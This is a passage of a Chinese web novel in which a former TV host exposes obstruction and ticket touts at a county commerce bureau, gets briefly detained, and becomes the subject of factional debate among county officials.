她将手机调转,屏幕冲向工作人员,说:“您看,这上面写得清清楚楚。” 对此,工作人员压根眼睛都没抬一下:“我们这有规矩,包含住宅的,不论大产权小产权,必须签字。” “你的意思是,你们风林县工商局,比国家规定还大呗?”许梦气愤的道。 “下一位。” 可对方压根不理她,直接喊了下一位。 “让一下。” 后面排队的人员上前,将资料递交进窗口。 有了其他人办业务,间接阻止了许梦的反驳。 许梦很气愤,但作为一个有素质的人,她也没再争辩,气愤地转身离开。 “等明天我带上相机,非好好曝光一下他们!”许梦气呼呼的低声说。 她是主持人,也曾经是一位记者。 她有隐藏式的相机,准备明天录下来,发布到网上,作为她新的素材。 “美女,美女。” 就在这时,一个胖男人凑了过来,满脸堆积着笑容。 许梦知道这个人,两个黄牛中的其中一位。 “怎么了?”许梦停下脚步。 “办营业执照是吧?我这能做代办,一千块钱。”胖子笑呵呵的说。 “找你办,不需要全楼签字?”许梦问。 “什么你都不用管,我全包,划算吧?”胖子笑盈盈的道。 “嗯...那我们加个微信吧。” 许梦加上对方微信。 离开工商局时,已经接近了李承的下班时间。 她拿起手机,上面有一条李承的关心信息。 【宝宝,你的梦李传媒,手续办的怎么样呀?】 自己的未婚夫是副县长,她却在这里受了一天的窝囊气,许梦忍不住的抱怨,将她一整天的经历全部吐槽出来: 【别提了,跑了一整天,不是这不行,就是那不行,再就是他们要下班,不给办。 这回干脆给我否了,说要全楼的业主签字才能办! 我真的要气死了,不能办她们早干嘛了,就不能一口气说完,害得我和丹丹忙活一整天! 我明天非要带着摄像机,好好给他们的嘴脸曝光出来!】 第387章 群愤 办公室内。 李承看着手机上许梦的抱怨,表情也沉了下来。 他问:【是故意卡你,还是流程要求?】 【丹丹查了,我们租的商住两用小产权公寓根本不需要全楼业主签字。 她非说那是风林县的规定。 而且,我前脚刚出门,紧接着就有黄牛跟出来,说给他一千块钱什么都不需要提供就能办。 我看啊,这里面就是官商勾结。】许梦发了一个冒火的表情,回复。 了解情况后,李承的眉头皱紧。 他身为副县长,主要分管工作是管委会,但全县的工作,也在他的管辖范围内。 许梦作为他的爱人,却被工商局的窗口人员这般刁难,他也很愤怒。 虽说,李承不能明着护短,去帮许梦。 但工商局的情况,不是针对许梦一个人,而是内部存在严重的问题。 李承整治工商局,名正言顺。 【用不用我出面?】李承问。 【不用,我会解决好。】许梦回答道。 她知道,想要解决这件事,只需要李承一个电话。 可她并不想让李承干涉进来。 不想给李承添麻烦是次要,主要一点,她觉得这是一个合适的视频素材。 她的那些粉丝,大部分都是《东江问政》节目才关注的她。 这些粉丝群体,关注的是民生问题。 恰好,风林县工商局的现状,就是不错的素材! 【那好吧。】 ..... 次日,许梦戴好隐藏式摄像头,再次带着资料来到工商局。 她没有排其他的窗口,再次找到了昨天不给她办理业务的女工作人员。 “你好,这是我的材料,你看一下。”许梦将资料递了上去,说。 “昨天让你准备的全楼业主签字呢?”办公人员翻了一遍资料,不耐烦的问。 虽然她每天要接待很多人,但还是一眼认出了许梦。 因为全程戴口罩办业务的人太少了,而且,许梦还跟她争辩过,她印象很深。 “我昨天特意查了一下,国家规定只有七十年产权的住宅改商用,才需要全楼业主签字。 像我这种商住两用的四十年产权公寓,不需要。”许梦强调道。 “我昨天跟你说得很清楚了,你怎么还听不明白呢?我们县有规定,只要包含住宅,就必须要签字。” 工作人员眉头一皱,不耐烦的说。 “那我是不是可以这样理解,你们县的规定,凌驾于国家规定之上?”许梦给对方挖坑,说。 “你怎么理解是你的事情,没有签字,我办不了。”工作人员说。 “你这种行为,不合规,不合理,更不合法,属于典型的乱作为,刁难群众。 这种乱作为的行径,也是你们县工商局的统一规定吗?” 许梦言辞凿凿,毫不退让。 为了足够的视频素材热点,她必须要这么问。 “下一位。” 工作人员拒绝回答许梦的问题,喊下一位办理业务。 “我们这边还没办完。” 杨丹挡住了准备办业务的人员,礼貌的说。 对方也是看热闹不嫌事大的主,继续等待起来。 “从昨天开始,我一共跟你交涉了五次,排了一整天的队。 第一次你说身份证不清楚,让我重新排队,第二次,明明没到下班时间,你却以下班为由拒不办公。 第三次,你说租赁合同不合格让我重签,第四次,你让我找全楼企业签字。 这是我来的第五次,你的态度还是这么不友善,身为机关单位人员,你就是这么为人民服务的吗?” 许梦身为主持人,口才功底不是一般的强。 在她的夺命追问下,工作人员不知道该如何应接。 她看着后面排队的人,大声喊道:“你们不办业务吗?” “我的业务还没有办完,请您尊重我。”许梦严肃的说。 “你的资料不合格,办不了,你听不明白吗?”工作人员气愤的说。 “请您注意您的态度。” 许梦听着对方严厉中,带着训斥的语气,不怒反喜:“你是国家公务人员,我是合法公民,合法纳税人。 你们的工资,是我们这些纳税人交的钱,我觉得,你不应该用这种态度对一位合法公民讲话。 更不应该用你们手里那点微小的权力,刁难我们这些老百姓。” 许梦的话,引起了很多人的共鸣。 有人点头认可,有人敢怒敢言: “就是,这位美女说得对,我办个营业执照都跑三天了,每天都有各种理由不给办,你们要干什么!” “说到底,我们是你们的衣食父母,你们这么折腾我们,都他妈丧良心!” “那么多工作人员闲着,就两个人办业务,其他人都是吃干饭的呀!” 各种各样的抱怨,在那些排队人中响应起来。 这时,察觉到情况不对劲,大厅值班主任走了过来,劝许梦:“美女,有什么事情,咱们到办公室里解决。” “就在这里解决,我说的都是实话,没有什么怕别人听的?难道你们怕听吗?” 许梦看着值班主任,问。 “不是,主要您这样,耽误其他人办公呀?”值班主任道。 “你们这里的办公效率本来就很低了,不差耽误这一会儿,你是这里的负责人?”许梦问。 “嗯,我是值班主任。”主任说。 “那我问你,为什么我们百姓办营业执照这么繁琐,他们却能那么快速? 他们是这里的黄牛对吧?” 许梦指着昨天找她的胖子,问值班主任。 “哪有什么黄牛,他们资料齐全,办得自然快。”值班主任尴尬一笑,不认账。 “是吗?可我看他每天都在这里帮别人跑业务,而且,昨天他还主动找到了我,说只要我给他一千块钱,他就能帮我解决所有问题。 你确定,他不是黄牛吗?”许梦冷声问。 “哎...你可别胡说八道啊,我什么时候找过你呀!没有的事儿!”男人连忙反驳,咬死不承认。 “那你为什么每天都在这里?”许梦反问。 “我...我那是公益,我帮不懂流程的人跑业务,我是自愿者!” 第388章 志愿者? “收钱办事,也叫志愿者吗?” 许梦拿出自己的手机,找出微信聊天记录,亮给众人:“这是你昨天跟我的聊天记录,上面有我们谈的价格,你还说你有关系,可以不用签字。” 昨天许梦加对方微信,就是为了今天面对这种情况。 铁证之下,胖子表情愤怒:“那不是我微信,我没说过!” “让大家听听,这是不是你的声音!” 许梦说着,将手机声音调至最大,播放了昨天胖子给他发的语音。 “美女你放心,我这个人最讲诚信,一千块钱给你办得妥妥的,不出三天,营业执照一定交到你的手里。” 语音里的声音,跟胖子的声音一模一样。 “这就是他的声音,还不承认呀?” “你们工商局就是这么为人民服务的吗?是不是收了人家好处费呀。” 铁证之下,胖子无言反驳。 周围群众起哄的声音越来越大,已经属于是众怒。 “女士,你的行为已经干扰了办公秩序,你再这样,我就要报警处理了。” 值班主任看到情况即将失控,以报警为理由,想要让许梦妥协。 “我是维护我们公民的合法权益,你觉得我有问题,那你报警吧。”许梦根本不怕。 记者,属于那种不怕事大的人。 事情越大,越有看点。 而且这件事,许梦完全在理,她揭露了工商流程下的丑恶现况。 在值班主任的示意下,工作人员报了警。 听说有人在工商局闹事,出警速度格外的快,五分钟左右,几个警员赶到了现场。 并以合法合规的理由,带许梦去派出所做笔录,终止了这场闹剧。 看着许梦坐上警车,从未经历过这种情况的杨丹颇为着急。 她紧忙掏出电话,打给了李承。 ...... 县政府,县长办公室。 ‘我的爱如潮水,爱如潮水....’ 李承正跟陈红旗讨论关于签约座谈会的问题时,手机响了起来。 李承拿出手机,看了一眼来电显示:杨丹。 “接吧。” 工作谈话期间,李承本想挂断电话,但陈红旗开了口,李承也就接通了电话。 “哥,许梦姐被警察抓走了....” 电话刚接通,杨丹急切的声音就传了过来。 “什么!” 听到这个消息,李承顿时眉头紧皱,连忙追问:“到底怎么回事?” “许梦姐今天去办营业执照.....” 接下来,杨丹简洁的把情况告知给李承。 “嗯,我知道了,你不用着急。” 听完事情的来龙去脉,李承的眉头舒缓了一些。 他最开始还以为许梦跟别人起了冲突。 “怎么了?” 陈红旗见李承挂断电话,随口问道。 李承思考了半秒,对陈红旗说明情况:“没什么,我未婚妻想办个营业执照,工商那边不给办。 双方起了点口头上的争执,工商那边报了警,给她抓进去了,哈哈...说来也挺滑稽的。” 李承跟许梦的这层关系,不好直接出面解决许梦的麻烦。 所以,他才跟陈红旗以开玩笑的语气,讲述了这件事。 他确定,陈红旗在听到后,一定会出面。 毕竟,一个电话就能卖李承一个人情的事,这是好事。 “什么,岂有此理!” 听到这个消息,陈红旗表现得颇为愤怒,这是做给李承看的:“堂堂一个县长夫人,被抓进了派出所,说出去都让人笑话!” “没事,让他们自行解决吧。”李承欲擒故纵地摆了摆手。 “这事你不用管,我来联系。” 陈红旗拿起桌子上的座机,先打给了县公安局长刘志。 电话接通,没等对方开口,陈红旗劈头盖脸就是一顿训斥:“刘志,你那些下属怎么办事的?眼睛都是用来喘气的吗? 不分青红皂白,就把李县长的爱人抓了起来!我看你们无法无天了!” “啊?陈县长,我不知道这件事呀。” 陈红旗按了免提键,刘志慌乱的声音传了过来。 这种小事情,根本传不到他那里。 “不知道,就立马去知道知道,赶紧把人给我放了!” 丢下这句话,陈红旗挂断了电话。 紧接着,他又打给了工商局长魏金龙。 电话一接通,又是同样的配方,同样的训斥:“魏金龙,我问你,刚才你们局里是不是报警抓人了?” “陈县长,您怎么知道?” 事情闹得那么大,已经报了警,身为局长的魏金龙也已知情,但他压根没当回事。 “真他妈的是瞎了你们的狗眼,那是李县长的爱人,你们卡她的办公流程,还报警抓人,你长本事了!” 这一次,陈红旗没半点的客气,直接破口大骂。 “我不知道那是李县长的爱人呀,我现在就去派出所。” 魏金龙听说是李承的爱人,同样惊慌失措。 别说陈红旗亲自问责,就是李承,他也得罪不起。 “你不用去,等着写检讨吧!” 丢下这句话,陈红旗直接撂下了电话。 两通电话,陈红旗都是免提,而且都是极为严厉的训斥,谩骂。 这是在给李承出气。 “谢谢你了,陈县长。” 李承对陈红旗表示了感谢,心里却并不赞同陈红旗刚才的做法。 甚至是不理解。 李承是从省城下来的干部。 在省城,就算领导再愤怒,也不可能破口大骂,更不可能在电话里破口大骂。 陈红旗刚才的表现,不像是一位县长该有的素质,更像是流氓。 偏偏,这就是贫困县城里的常态。 陈红旗这位县长,也更像是一个流氓头子。 “真是太气人了,对于这些人,必须要给严厉的处分。” 陈红旗递给一根香烟给李承,仍是一副愤愤不平的样子。 那副样子,仿佛被抓的人,是他爱人。 “这种情况再哪都避免不了。”李承接过香烟,点燃说。 “是呀,全县数千名公职人员,总会有几个素质低下的漏网之鱼,给我们县里的形象抹黑。” 陈红旗吸了一口烟,问:“李县长,你要不要亲自去一趟?” “不用,我们继续聊工作。” 第389章 撑场子 派出所内。 “你们凭什么没收我的东西,还给我!” 许梦被带到派出所后,她身上带着的录像设备被发现,并被强制没收。 里面是许梦今天录制的素材,见对方没收并准备销毁视频,许梦急了。 “你的行为是违法的,你知不知道!”所长张亮严厉的训斥。 “我怎么违法了?第一,我使用的是合法设备,第二,我是在公共场所,拍摄的公务行为,这是我作为公民行使的监督权。”许梦反驳道。 作为记者出身,在这方面的法律知识,她比这些民警更专业。 “你的行为严重损害了他人的肖像权,这就是违法!” 张亮一拍桌案,怒斥:“你不要再狡辩!” 违法与合法的边界,掌握在他的手里。 “张所,有密码。” 一旁的年轻警员摆弄了好一会儿相机,最后发现,访问相册和操作删除需要密码。 “密码是什么?” 张亮瞪着许梦,质问道。 “不知道。”许梦拒不配合。 “给我老实一点,配合我们把视频删除,相机还可以还给你,不然我们直接没收。”张亮吓唬许梦。 “这我的私人设备,没有法院的搜查令和刑事立案,你们没有权力强迫我交出密码。 更没有权力没收我的个人财产,你今天敢没收,信不信我告到你脱下这身警装!” 许梦也不是被吓大的,她见对方恐吓威胁,许梦也拿起了法律的武器,进行保护自己。 “是你偷拍,损害了他人的肖像权,我这是在为你好,你知不知道!” 张亮再次怒拍桌子,进行威胁:“你要是这么不配合的话,根据你的违法行为,我可以直接拘留你!” “你要拘留谁?” 就在这时,接到陈红旗通知的刘志,急匆匆的赶了过来。 他进入笔录室,怒视着张亮。 “刘局长,您怎么来了?” 张亮见大领导过来,立马站起身,挤出谄媚的笑容。 “她在办公场所录像,是公民的监督权,你凭什么要拘留她?你根据的是哪一条法规?” 刘志冷声质问。 他被陈红旗骂了一顿,心里窝了一团火,需要发泄。 “我...” 张亮低着头,不敢吭声。 他有理由辩解,但他不傻,眼下这种情况,刘志是明显来保人的。 如果他再去辩解,就是找批评。 “你现在什么都不用干,给我去写检讨!” 刘志倒也没有过多为难张亮,毕竟有外人在。 他从年轻警员手里拿过相机,面带微笑走到许梦面前:“许小姐,这是您的相机,看看有没有损坏?” “没有。” 许梦接过相机,检查了一下,确定视频还在,她就放心了。 “今天实在抱歉,这里面有误会。”刘志解释说。 “没关系,我可以走了吗?”许梦问。 “可以,我送您。” 在笔录室里,刘志不能提许梦跟李承的关系。 他将许梦送出派出所,温和的说:“许小姐,手下人不懂事,您多担待些。 还请您帮我跟李县长带句抱歉,是我管教无方。” “嗯,好。” 许梦点头答应。 她知道,局长亲自过来,态度这般恭敬,一定是李承的人脉关系。 “许梦姐,你没事吧?他们没为难你吧?” 杨丹一直等候在派出所门口,看到许梦出来,小跑的迎了过来。 “没事。” 许梦笑着摆了摆手,问:“你给你哥打电话了?” “嗯。”杨丹点头。 这是她人生中,第一次经历这种事情,她的第一想法就是找李承解决。 “下次这种小事不用麻烦他,我们自己也能解决。”许梦冲杨丹甜甜一笑,说。 虽说,她很喜欢这种被保护的感觉,李承一个电话能解决她的所有困境,让她很有安全感。 可她也不想给李承添麻烦,怕李承落人口舌。 尤其是,她现在做的事情,揭露的真相,是在给政府部门添麻烦。 而李承又是这个县的副县长,从某种角度,两个人还算是对立面关系。 有此原因,许梦更不想借助李承的力量,解决她自身的麻烦。 “好吧,我知道了。” ...... 派出所内,工商局的值班主任看着许梦在公安局长的陪同下离开,他有些发懵。 尤其是看到张亮狼狈走出笔录室的模样,更让他疑惑。 “张所长,视频她删了吗?” 值班主任最关心的问题,就是许梦手里的那段视频。 如果视频发布到了网络上,对他们工商局会造成一定的影响,而一旦舆论发酵,第一个被问责的人,就是他这位值班主任。 “没删。” 张亮点燃一根香烟,无奈的回答道。 “那怎么没删就放她走了呢?”值班主任因为着急,问出了一句颇为脑残的话。 “你没看到局长都来保她了吗?我有什么办法。” 张亮吸了一口烟,没好气的说:“你呀,就自求多福吧,这女人以前就是省电视台的。” “啊?” 值班主任愣住了:“那可怎么办?” 之前许梦一直戴着口罩,他没有注意看许梦的长相。 而且,许梦借着《东江问政》的节目虽然有些名气,但还没到那种人尽皆知的地步。 除了那些忠实电视机的老年爱好者,以及没事愿意刷短视频的小年轻之外,大部分人并不认识她。 尤其是值班主任,张亮这种中年群体,他们不看电视,也不知道许梦是谁。 “凉拌呗,反正刘局长很生气,我得去写检讨了,你好自为之。” 张亮本来因为检讨的事情,心情很烦躁。 可看到值班主任后,他烦躁的心情好转了一些,心里带着些幸灾乐祸。 因为工商局才是跟许梦直接冲突的部门。 ‘嗡嗡嗡...’ 正在值班主任准备再问具体一些时,他的手机响了起来。 “喂,局长。”接通电话,值班主任有些胆怯。 而正如他所担忧的那样,电话那边的魏金龙,开口就是恼火的怒骂: “你他妈的作死别带上我,李县长的爱人去办营业执照你们也敢刁难,我真不知道你们脑子是被驴踢了,还是被屎灌了!” 第390章 道歉 “咚咚咚...” 晚上。 李承,许梦和杨丹三个人正在家中吃晚饭,房门被敲响了。 “我去开门。” 杨丹站起身,主动去开门。 来家里的一共五个人,工商局局长魏金龙,带着值班主任和刁难许梦的窗口工作人员。 以及公安局局长刘志和派出所的所长张亮。 他们所有人的手里都提着礼品,烟、酒、茶叶,还有保健品,各式各样。 “李县长,我们冒然过来,没打扰您吃饭吧?”刘志站在门口,脸上挂着热切的笑容。 但在没得到李承允许之前,他不敢随意进屋。 “李县长。” 魏金龙站在刘志的身旁,打了一声招呼。 “是刘局和魏局呀。进来吧。” 李承看向几人,淡淡地回应了一句,对杨丹说:“丹丹,给他们拿拖鞋。” 几个人换上拖鞋,走进客厅。 可李承并没有招待他们的意思,还在不紧不慢地吃着饭。 没有李承发话,他们只能傻站在客厅内,看向李承吃饭。 客厅空间有限,五个人站在那里,让房间看起来更加拥挤。 “李县长,今天的事情是误会,大水冲了龙王庙,一家人不认识一家人。 我代表工商局,跟您和您爱人,正式道个歉。” 魏金龙恭敬地道歉后,目光看向身旁的两位下属。 感受到领导的目光,值班主任放下礼品,从口袋里掏出一张折叠几次的检讨书,双手奉上: “李县长,是我工作疏忽,监管不力,才闹出这种误会,我检讨。 这是我的检讨书。” 对此,李承没有接,完全当做没听见。 值班主任举着检讨书,尴尬了几秒后,将手放了下去。 “李县长,是我的错,我不知道她是您的爱人,我要是知道的话,肯定不会故意刁难她...明天,明天我第一时间就把营业执照给您办好.....” 窗口的办公人员也连忙认错。 但她的道歉方式,漏洞百出,甚至是可笑。 听到她的认错,李承没有回答,只是嘴角微微上扬,笑容带着些许的玩味。 他瞥了魏金龙一眼,什么话都没有说,却又仿佛说了很多。 魏金龙明白李承这个眼神中,是在表达什么。 他深吸一口气,看向女办公人员:“安影,你把李县长当成什么人了? 李县长一心为民,他生气的,是你这种工作态度! 我反复给你们开会强调,我们要为把为人民服务作为宗旨,而不是为某些人开特权。 你的错,不是刁难了李县长夫人,而是不该刁难任何一个人来办业务的公民! 到现在为止,你甚至都没有意识到你自己错在了哪里,从今天开始,你停职,等着处分!” 魏金龙骂在了重点,也将他自己摘得干净。 “我知道错了。” 安影被骂,低着头,不敢多说其他。 接下来,派出所所长张亮也进行道歉,刘志也不停地打圆场,说好话。 可李承始终没有开口,就那么安安静静地吃着饭。 他对这些人很恼火。 于公,他们工作没有党性,存在严重的过错和失职。 于私,他们刁难了李承的未婚妻,李承想给许梦出口恶气,这是对爱人的保护。 “算啦,也没多大的事情。”许梦开口打了一个圆场。 李承不开口,这些人就想方设法地缓和关系。 以至于,原本对这些人很愤怒的许梦,都已经消了气,不想跟他们计较。 许梦开口后,李承这才吃完碗里的最后一口饭,放在了筷子。 抽出纸巾,他擦了擦嘴,起身走向沙发。 “都站在干嘛,坐。” 李承淡淡一笑,玩笑问他们:“我看起来很没有肚量吗?” “您的肚量堪比宰相呐,呵呵...” 刘志坐在李承的对面,笑呵呵的道。 魏金龙也坐了下来。 其余三人,能认清自己的位置,并没有坐下。 “哪个宰相,范雎吗?”李承反问。 范雎是历史上,公认最小心眼的宰相,睚眦必报就是用来描述他的。 “李县长您幽默了。”刘志尴尬的道。 “刘局,魏局,你们今天带着诚意来的,我也把话说明白。 作为风林县的副县长,我在得知你们内部,尤其是工商局,竟然用这种方式刁难百姓时,我很生气。 不仅是我,包括陈县长都同样恼火。 党和人民赋予你们权力,是让你们服务人民的,而不是欺压人民,这是你们的错。” 李承说到这里,顿了一下。 他拿起香烟,点燃后,继续说:“作为一个普通人,看到自己的爱人被你们刁难,还抓进了派出所,我同样也是生气的。 但这两种生气,不能混为一谈。 现在是下班时间,下了班,我就是一个普通人,所以,你们没必要跟我道歉,我也不会因为你们刁难了我的爱人,就在工作中刁难你们。 公是公,私是私,公私分明是最基本的原则。 于私,我接受你们的道歉,于公,你们内部存在的问题,我也会进行监督整改!” 李承这番话,就是想要公和私捋清。 杜绝往后落下公报私仇的口舌。 但李承同样也很清楚,这件事发生了,他想捋清,也很难不让人背地里议论。 “李县长,也请您放心,明天我就会对工商局进行一次彻底的作风整顿,保证以后不会出现这种情况。” 魏金龙信誓旦旦的保证道。 “嗯。” 李承点了点头:“你们来做客,我欢迎,但东西你们一会儿必须拿回来。” “这是我们个人....” “拿回去。” 魏金龙想客气一下,话没等说完,被李承打断。 只要跟工作有关,任何人的东西,李承都不会收,这是他对自己的保护。 “好,那我们就先回去,不打扰您休息了。” 几个人跟李承告辞后,匆匆离开。 他们也知道,多留是碍眼,会被人讨厌。 “宝宝,那个视频,能发吗?” 送走几人,许梦试探的问李承。 她想拿那个视频做素材,却也怕给李承带来不好的影响。 “这是你的个人权力,看你自己。” 第391章 会议探讨 自媒体是许梦的事业,许梦已经为了李承辞去了省电视台的工作,这种素材也是李承给出的想法。 所以,李承不想因为他的工作原因,去干涉许梦。 “我已经很多天没有更新了,这么好的素材,我不想错过。”许梦认真的说。 她辞去工作,跑到这个贫困县城陪李承,承受着很大的压力。 一方面,是经济上的不独立。 另一方面,是家人们的施压。 她必须要尽早做出一些成绩来,这样才能扭转家人对她的看法,用实际行动来堵住家人的嘴。 家人的施压,是站在她的角度,为她考虑和担忧。 但很多时候,这种家人的‘好’,往往最能让人压得喘不过气。 “嗯,我支持你。” 李承微微一笑,给予许梦支持。 李承知道,许梦在为他顾虑,所以,他更要给予许梦支持,哪怕只是口头上的一句鼓励,也会让许梦压力小很多。 “谢谢宝宝。”许梦松了一口气,露出灿烂的笑。 “不过呢,我还是有一点需要叮嘱你,拍摄视频可以,但因为涉及到了机关单位,你要格外注意。 千万不能扭曲事实真相,不能恶意剪辑。 就像做《东江问政》这个节目一样,实事求是。” 李承认真叮嘱。 他相信许梦的为人,不会为了利益去做扭曲事实的事情,但他仍要强调。 他怕出现万一。 如果许梦为了博眼球,扭曲了真相,被追究的话,不仅她的人设会崩塌。 李承也会跟着陷入困境。 不帮,他无情无义,作为一个男人,连自己的爱人都不能罩住。 帮了,那就是以权谋私,突破了纪律红线。 “放心好了,那种事我不会做,这是我的工作原则。”许梦说。 “嗯,只要保证这一点,其他无所谓。” 许梦怎么拍摄视频,是许梦个人的事情。 李承不干涉,也没有利用权力给她提供帮助,那么也就没什么好担心的。 ...... 许梦的视频发布到短视频平台,引起了很多人的关注。 在几天的发酵之下,造成的舆论压力,甚至超出了李承的想象。 为此,县委召开了一场紧急会议,探讨此事。 会议室内,县委办主任冯刚,在大屏幕播放了许梦的视频。 视频是许梦认真剪辑录制过的。 开头是许梦坐在家里,讲述这件事的前因后果。 紧接着,那段在工商局里,许梦和工作人员的争辩,以及牵扯到黄牛的视频作为佐证。 到最后,许梦又做了一个结尾。 除了那段视频之外,许梦通过剪辑的手法,做了一个解说。 把情况介绍的清清楚楚,不会让人觉得无厘头。 在这段视频里,许梦对涉事的工作人员全部都打了码,保护了对方的肖像权。 “大家看完了视频,是否也像我一样,对这个工作人员的行径和态度产生愤怒呀? 这段视频很火,光是点赞量就突破了十万,数百万人浏览过。 但令我没想到,这件事就发生在我们风林县的工商局!” 在视频播放结束后,县委书记王革看向大家,表情严肃:“现在,市里的领导也已经关注到了这件事,问题很严重,社会影响恶劣。 已经不是简单的窗口服务态度问题,而是严重损害了我县的营商环境,抹黑了政府形象!” “王书记,我建议啊,这件事必须严惩深究,涉事人员,包括领导干部,全部顶格处理。 该停职的停职,该撤职的撤职,绝不姑息。” 陈红旗接过话题,表明了他坚定的态度。 他要求严格处置,是借题发挥,有他的政治目的。 常务副县长崔学文是从工商局升上来的,现任局长魏金龙是他的老下属。 陈红旗是在针对崔学文。 对招商局定格处理,魏金龙面临免职,可以断掉崔学文的左膀右臂。 其次,也能狠狠打崔学文的脸,给对方一个下马威。 “这只是一个窗口的问题,对那个工作人员严肃处理,我不反对,但如果牵扯到整个工商局,我认为,有些小题大做了。 不能因为平息舆论压力,去牵连无辜的人。 哪个部门会是铁板一块?问题员工是避免不了的,若是因为一个普通公职人员的过错,去毁掉政府的优秀干部,这才是错误!” 面对陈红旗的针对,崔学文立马给出了反对意见。 魏金龙是他的人,他要保。 如果保不住魏金龙,其他‘追随’他的人,就有可能会动摇。 这涉及到了他的政治根基。 “无辜?刚才的视频,你有没有认真看?” 陈红旗直视崔学文,语气中带着质问:“重点不是窗口人员的工作态度,还有工商局内存在的黄牛现象! 为什么普通百姓办业务就被刁难,黄牛就可以顺利办理呢?这其中,难道没有勾结吗? 你敢说,魏金龙作为工商局长,就对此一点不知情吗? 如果他不知情,那么,他就是严重的工作失职,是懒政,我看这个局长留着也是祸害。 如果他知情,却纵容黄牛,那这个问题就更严重了!” 陈红旗有理有据,怼的崔学文哑口无言。 陈红旗将话已经说死,无论崔学文怎么回答都是错,都是在包庇。 看着这一幕,李承安心了不少。 他一直担心,陈红旗和崔学文会不会因为洪老书记的影响,以及在本地派的利益之下,缓和关系。 但从现在的场面来看,他们的关系还在恶化。 这对李承是一个好消息。 李承抱着看戏的心态,想看看崔学文会怎么反驳。 可他没想到,崔学文竟然直接把矛头引到他的身上。 “论起问题的严重性,我觉得,没有人比李承同志的问题更严重!” 崔学文并未回答陈红旗,而是将目光看向了李承:“据我了解,发布视频,引发这场舆论的人,正是李县长的女朋友! 李县长身为我县的领导干部,在明知视频发布会抹黑我县形象的情况下,还纵容他女朋友发布,这才是严重的失职!” 第392章 舆论发酵 “而且,我严重怀疑,这件事就是李承同志授意!” 崔学文矛头直指李承。 一来,他要转移话题,不再将事情放在工商局上。 二来,他内心对李承有严重的个人恩怨。 “你说我授意,我为什么要那么做?” 李承本着回避的心态,原本并不想在这场会议上发言,但对方针对了自己,他也要进行反驳。 “因为你的女朋友在做自媒体,以此谋生,你作为副县长,想用抹黑政府形象的方式,给你女朋友铺路!”崔学文严厉的说。 “首先,我先强调一点,我和许梦并不存在夫妻关系,她作为一个个体,有权力做任何事情,不需要经过我的同意。 其次,工商局的情况属实,并非她虚构。 每一位公民都有权力进行监督,问题的本质在于工商局的乱象。” 李承回答的很克制,点到为止。 他有一堆犀利的言辞,可以进行反驳,但他没有那么做。 这其中,就有避嫌的成分。 “虽然这次舆论给我们风林县政府造成了一定的负面影响,可这也是揭露了我县存在的各项问题。 李承同志说的很对,问题的本质在工商局。 我们应该去自省自查,去整顿我们内部存在的腐败现象,给社会和人民提供一个优质的办事平台。 而非去纠结和针对发布者是谁! 如果工商局没有问题,别人会发布吗? 这不是抹黑,工商局的情况,本身就是黑的,今天她不发布,只要这种乱象存在,迟早还有其他人发布!” 陈红旗也立马接话,力挺李承的同时,也不忘再踩崔学文一脚:“学文同志,你不能因为工商局是你曾经的工作单位,就去偏袒。 我们要认清事实,才能从根源解决问题!” 陈红旗一句偏袒,说在了崔学文的要害。 也是侧面将工商局的问题,跟崔学文绑定在了一起! “我觉得,我们不应该去反对和针对视频的发布行为,更应该赞赏和支持这种行为。 这是对我们的监督,有监督,才能有更好的社会环境!” 陈红旗言辞凿凿。 他在帮李承,也在明确一个新的政治格局。 眼下,常委会的情况,将政治立场的重要性,展现的淋漓尽致。 如果李承没有和陈红旗达成共识。 那么,陈红旗会比崔学文说的更难听,会上升责任,去牵连李承。 若是李承孤立无援,再得不到王革的支持。 那么,李承将会被边缘化,影响他的仕途。 相反,因为李承跟陈红旗达成共识,所以,陈红旗直接支持了许梦的曝光行为。 这也变相的将李承从崔学文的针对中,摘了出来。 当然。 对于这件事存在的风险,在许梦发布视频的时候,李承就已经想到了。 他还敢让许梦发布,就是有足够的底气! “今天我给大家聚集在这里,是讨论如何解决这件事,把后果压到最小,挽回县委县政府的形象。 与解决问题无关的话,我们不谈。” 王革看着会议主题,从解决问题变成了政治斗争,他开口打断,纠正会议。 也算是帮崔学文解了围。 “王书记,我的建议是联系视频发布者,要求她删除原视频,再和我们政府部门的同志出一个澄清视频。” 宣传部长宁文静,提出了她的想法。 舆论是由许梦而起,从许梦那里解决,最直观。 只要许梦删除视频,再发一条澄清视频,给工商局洗白,舆论影响能缩到最小。 但她的想法,只是考虑到了问题解决方式。 却没有想过执行的麻烦。 许梦作为数十万粉丝的博主,如果发布澄清视频帮工商局洗白,就证明了她人设的塌方。 有损许梦的个人利益。 别说许梦愿不愿意,就是李承也不会同意。 “我觉得这样不妥,先不提对方是否愿意配合,就算删了视频,舆论的影响还在。” 专职副书记常远摇了摇头,否定了宁文静的想法。 “我认为,当下最好的解决办法,就是对工商局进行整顿。 像刚才陈县长提出的那样,对涉事人员,及任何有责任的领导干部,进行严肃处理。 宣传部门,最好是可以跟发布者进行一个沟通,让她继续跟踪报道。 利用她在这件事自带的流量,展现出我县政府积极处理问题的一面,用实际行动,改变网络对我县的看法。” 常远给出了他的建议。 他的建议是最符合眼下平息舆论,挽回政府形象的建议。 跟李承的想法不谋而合。 李承早就想过这个解决方案,只是他不能去提。 提了就是给女朋友牟利,就成为别人指责他以权谋私的话柄。 “我赞同常书记的提议,这才是解决问题的办法。”陈红旗也立马表态。 “嗯,这个办法执行性很高。” 王革认真思考了一番,也对这个提议表示赞同。 他看向其他常委,问:“其他人还有什么更好的建议吗?” 没有人回答,所有人的目光齐齐看向了崔学文。 李承跟陈红旗和王革都建立了共识关系,这两位表了态,就代表了大部分常委的表态。 唯一还能提出反对意见的,只有崔学文,曹海涛和辛磊,这个铁三角。 辛磊私下里与李承也已经交好。 曹海涛并不想得罪人,就只剩下崔学文一个。 “既然大家没有什么意见,我也没意见。” 崔学文知道,就算他提出反对,也无济于事,干脆也不想再浪费口舌。 现在常委的局势,对他很不利。 “既然大家都没有意见,那就这么定。” 王革点了点头,看向宁文静:“文静同志,你联系一下视频发布者,问问她是否愿意配合。” “好。”宁文静答应。 “让她联系多麻烦啊,让李县长这个枕边人联系就行。”崔学文轻哼一声,还是忍不住针对李承一句。 “公私要分明,对于这件事,既然学文同志认为跟我有关,王书记,我申请回避。” 李承对王革说。 “嗯,同意。” 王革点头,并宣布:“散会。” 第393章 算计领导 “李县长,你等一下。” 会议结束,宣传部长宁文静喊住了李承。 李承停下脚步,等待她靠近后,问:“怎么了?” “我想跟许梦聊一聊,方便引荐一下吗?”宁文静问。 她其实是想让李承直接帮忙劝说许梦,配合宣传部的工作。 